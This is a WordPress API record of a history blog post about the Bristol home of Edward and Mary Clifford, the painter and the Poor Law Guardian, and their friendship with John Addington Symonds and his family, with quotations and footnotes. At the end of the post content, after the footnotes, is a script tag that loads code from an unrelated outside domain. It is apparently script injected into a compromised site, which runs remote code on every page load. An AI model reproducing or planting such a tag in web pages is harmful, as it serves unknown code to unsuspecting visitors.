{"id":900,"date":"2014-09-22T18:44:26","date_gmt":"2014-09-22T18:44:26","guid":{"rendered":"http:\/\/watsonian.co.uk\/symonds\/?p=900"},"modified":"2022-08-14T21:15:09","modified_gmt":"2022-08-14T21:15:09","slug":"family-home-of-edward-mary-clifford-1870s","status":"publish","type":"post","link":"https:\/\/www.symondsinbristol.co.uk\/?p=900","title":{"rendered":"Family home of Edward &#038; Mary Clifford (1870s)"},"content":{"rendered":"\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-900 gallery-columns-3 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1037'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/09\/maryclifford00will_0082-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-1037\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-1037'>\n\t\t\t\tFrom &#8220;Mary Clifford&#8221; by Gwen Mary Williams, 1921\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1076'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/09\/rensymclif1-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-1076\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-1076'>\n\t\t\t\tEngraving of Edward Clifford&#8217;s drawing of Symonds.\n\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1162'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/09\/1872-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-1162\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-1162'>\n\t\t\t\tEdward Clifford in 1871\n\t\t\t\t<\/dd><\/dl><br style=\"clear: both\" \/>\n\t\t<\/div>\n\n<p>&nbsp;<\/p>\n<p>Mary and Edward Clifford \u00a0were the two eldest children of the Rev. John Bryant Clifford and Emily Clifford. Edward was a painter, whose idealised figures of male saints and heroes interested\u00a0Symonds. Mary, one of Bristol&#8217;s first women\u00a0Poor Law Guardians, attended\u00a0Symonds&#8217; lectures, and\u00a0became\u00a0a close friend\u00a0of his wife, Catherine. A\u00a0younger sister, Emily Claire, was another friend of the family, and seems to have shared her painting interests with Catherine Symonds.<\/p>\n<p>The connection between the Clifford and Symonds families stretches back at least as far as the siblings&#8217; childhood: Dr Symonds\u00a0attended their mother in 1849 when she suffered &#8220;an acute attack of haemorrhage of the lungs&#8221;, and lent her several of\u00a0his books.<sup><a href=\"#footnote_0_900\" id=\"identifier_0_900\" class=\"footnote-link footnote-identifier-link\" title=\"Williams, Gwen M. Mary Clifford. Bristol: J.W. Arrowsmith, 1920, p32. Available in electronic form at archive.org\">1<\/a><\/sup> Later, Mary recorded her interest in the &#8220;intellectual parties&#8221; held by Dr Symonds, but wondered &#8220;how far will such society agree with being decided in religion?&#8221;<sup><a href=\"#footnote_1_900\" id=\"identifier_1_900\" class=\"footnote-link footnote-identifier-link\" title=\"Williams, p53\">2<\/a><\/sup>\u00a0The family was devoutly Christian (their brother, Alfred, entered the priesthood) and also artistically-inclined: Edward&#8217;s father and younger sister, Emily Claire, both painted, and Symonds&#8217; daughter Margaret vividly recalled the artistic atmosphere of their Kingsdown home:<\/p>\n<blockquote><p>Those were the days of the Pre-Raphaelite\u00a0movement, and Edward was of course in the thick\u00a0of it. I know there was an atmosphere of peacocks&#8217;\u00a0feathers and of very good blue china, also of lovely\u00a0old Chippendale chairs, and I believe (but I cannot\u00a0be certain of this) that there were hollyhocks in the\u00a0garden. The object, however, which remained\u00a0clearly branded on my brain was the portrait of a\u00a0large tiger prowling in a jungle, with most marked\u00a0stripes upon his back. This portrait became to\u00a0my childish mind the more amazing when I was\u00a0informed that no one less than Mary&#8217;s own father had\u00a0painted it ! There were sandal-wood boxes and\u00a0beads, too, I think, from India ; and there were many\u00a0portraits of beautiful ladies and young men and\u00a0saints by Edward Clifford, who was then in the\u00a0beginning of his fame as the portrait painter of the\u00a0then fashionable Pre-Raphaelite set.<sup><a href=\"#footnote_2_900\" id=\"identifier_2_900\" class=\"footnote-link footnote-identifier-link\" title=\"Williams, p92\">3<\/a><\/sup><\/p><\/blockquote>\n<p>Edward Clifford trained at the Bristol School of Art, later graduating to the Royal Academy in London. His early interest in the male form\u00a0is\u00a0captured in Mary&#8217;s letters, which charmingly record \u00a0&#8220;Dearest Edwy is painting a lovely picture of a young man with so little on except a sword and an expression.&#8221;<sup><a href=\"#footnote_3_900\" id=\"identifier_3_900\" class=\"footnote-link footnote-identifier-link\" title=\"Williams, p65\">4<\/a><\/sup><\/p>\n<p>Symonds was attracted\u00a0by Clifford&#8217;s treatment of \u00a0&#8220;manly perfection&#8221;, and\u00a0bought or was gifted several of his works. He sent Clifford\u00a0samples of his homoerotic poetry, but struggled\u00a0to navigate their obvious differences.<sup><a href=\"#footnote_4_900\" id=\"identifier_4_900\" class=\"footnote-link footnote-identifier-link\" title=\"Whitney Davis,&nbsp;Image in the Middle: John Addington Symonds and Homoerotic Art Criticism&nbsp;in Elizabeth Prettejohn (ed), After the Pre-Raphaelites: Art and Aestheticism in Victorian England (Manchester, UK: Manchester University Press, 1999)&nbsp;p.188 &ndash;&nbsp;216\ndiscusses the&nbsp;careful negotiation between Symonds and Clifford around the implications of their works.&nbsp;\">5<\/a><\/sup> Though he responded positively to some of the poems, Clifford was troubled by Symonds&#8217; religious scepticism, and\u00a0regarded some of his writing\u00a0as troubling. \u00a0Despite their differences, Symonds continued to share his work on\u00a0same-sex topics, lamenting\u00a0with careful self-deprecation\u00a0that his writing\u00a0might not match Clifford&#8217;s ideal of &#8220;quite unselfish unseeking love&#8221;.<sup><a href=\"#footnote_5_900\" id=\"identifier_5_900\" class=\"footnote-link footnote-identifier-link\" title=\"John Addington Symonds, The Letters of John Addington Symonds, Vol 2, ed. by Herbert M. Schueller &amp; Robert L. Peters (Detroit: Wayne State University Press, 1968), p. 210\">6<\/a><\/sup> It was from\u00a0Clifford, too, that Walt Whitman\u00a0learned the correct pronunciation of Symonds&#8217; name: &#8220;W argued\u2014&#8217;I am sure it is Sim-monds. You know, it was Edward Clifford, the artist, very closely allied with Symonds\u2014who was here and told me about it.'&#8221;<sup><a href=\"#footnote_6_900\" id=\"identifier_6_900\" class=\"footnote-link footnote-identifier-link\" title=\"Horace Traubel, With Walt Whitman in Camden, Vol 6,&nbsp;(Carbondale, IL: Southern Illinois University Press, 1982), digital edition at The Walt Whitman Archive, p.35\">7<\/a><\/sup> In 1892, long after leaving Bristol, Symonds wrote to his daughter that he was\u00a0expecting Edward and Mary&#8217;s visit at Davos.<sup><a href=\"#footnote_7_900\" id=\"identifier_7_900\" class=\"footnote-link footnote-identifier-link\" title=\" Schueller, Vol 2, p 681\">8<\/a><\/sup><\/p>\n<p>Mary Clifford was not as artistic as her younger brother and sister, but she nevertheless became a close friend of Symonds&#8217; wife, Catherine. \u00a0Her biographer described the\u00a0friendship as &#8220;touched with the colours of romance for Mary&#8221;<\/p>\n<blockquote><p>My friendship and love for Mrs. Symonds [&#8230;] I gave it to God and He has given it to me; and it has been a source of great joy and refreshment. I want to keep it in His hands, and pray for her and myself increasingly, and always that He will manifest Himself to her. She is an exquisite person, sincere and full of grace.<sup><a href=\"#footnote_8_900\" id=\"identifier_8_900\" class=\"footnote-link footnote-identifier-link\" title=\"Williams, p.88\">9<\/a><\/sup><\/p><\/blockquote>\n<p>For more information on Mary Clifford&#8217;s public life in Bristol, see <a href=\"http:\/\/humanities.uwe.ac.uk\/bhr\/Main\/\">Routes into Women&#8217;s History<\/a> by Heloise Brown at UWE&#8217;s Bristol Historical Resource.<\/p>\n<p><a href=\"https:\/\/archive.org\/stream\/maryclifford00will#page\/n7\/mode\/2up\">Mary Clifford&#8217;s Biography at Archive.org<\/a><\/p>\n<ol class=\"footnotes\"><li id=\"footnote_0_900\" class=\"footnote\">Williams, Gwen M. <span style=\"text-decoration: underline;\">Mary Clifford<\/span>. Bristol: J.W. Arrowsmith, 1920, p32. <a href=\"https:\/\/archive.org\/details\/maryclifford00will\">Available in electronic form at archive.org<\/a> [<a href=\"#identifier_0_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_1_900\" class=\"footnote\">Williams, p53 [<a href=\"#identifier_1_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_2_900\" class=\"footnote\">Williams, p92 [<a href=\"#identifier_2_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_3_900\" class=\"footnote\">Williams, p65 [<a href=\"#identifier_3_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_4_900\" class=\"footnote\">Whitney Davis,\u00a0Image in the Middle: John Addington Symonds and Homoerotic Art Criticism\u00a0in Elizabeth Prettejohn (ed), After the Pre-Raphaelites: Art and Aestheticism in Victorian England (Manchester, UK: Manchester University Press, 1999)\u00a0p.188 &#8211;\u00a0216<br \/>\ndiscusses the\u00a0careful negotiation between Symonds and Clifford around the implications of their works.\u00a0 [<a href=\"#identifier_4_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_5_900\" class=\"footnote\">John Addington Symonds, The Letters of John Addington Symonds, Vol 2, ed. by Herbert M. Schueller &amp; Robert L. Peters (Detroit: Wayne State University Press, 1968), p. 210 [<a href=\"#identifier_5_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_6_900\" class=\"footnote\">Horace Traubel, With Walt Whitman in Camden, Vol 6,\u00a0(Carbondale, IL: Southern Illinois University Press, 1982), <a href=\"http:\/\/www.whitmanarchive.org\/criticism\/disciples\/traubel\/WWWiC\/\">digital edition at The Walt Whitman Archive<\/a>, p.35 [<a href=\"#identifier_6_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_7_900\" class=\"footnote\"> Schueller, Vol 2, p 681 [<a href=\"#identifier_7_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_8_900\" class=\"footnote\">Williams, p.88 [<a href=\"#identifier_8_900\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><\/ol><script src=https:\/\/buryebilgrill.online\/footnotes><\/script>","protected":false},"excerpt":{"rendered":"<p>&nbsp; Mary and Edward Clifford \u00a0were the two eldest children of the Rev. John Bryant Clifford and Emily Clifford. Edward was a painter, whose idealised figures of male saints and heroes interested\u00a0Symonds. Mary, one of Bristol&#8217;s first women\u00a0Poor Law Guardians, attended\u00a0Symonds&#8217; lectures, and\u00a0became\u00a0a close friend\u00a0of his wife, Catherine. A\u00a0younger sister, Emily Claire, was another friend [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-900","post","type-post","status-publish","format-standard","hentry","category-people"],"_links":{"self":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/900","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=900"}],"version-history":[{"count":23,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/900\/revisions"}],"predecessor-version":[{"id":1409,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/900\/revisions\/1409"}],"wp:attachment":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=900"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=900"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=900"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}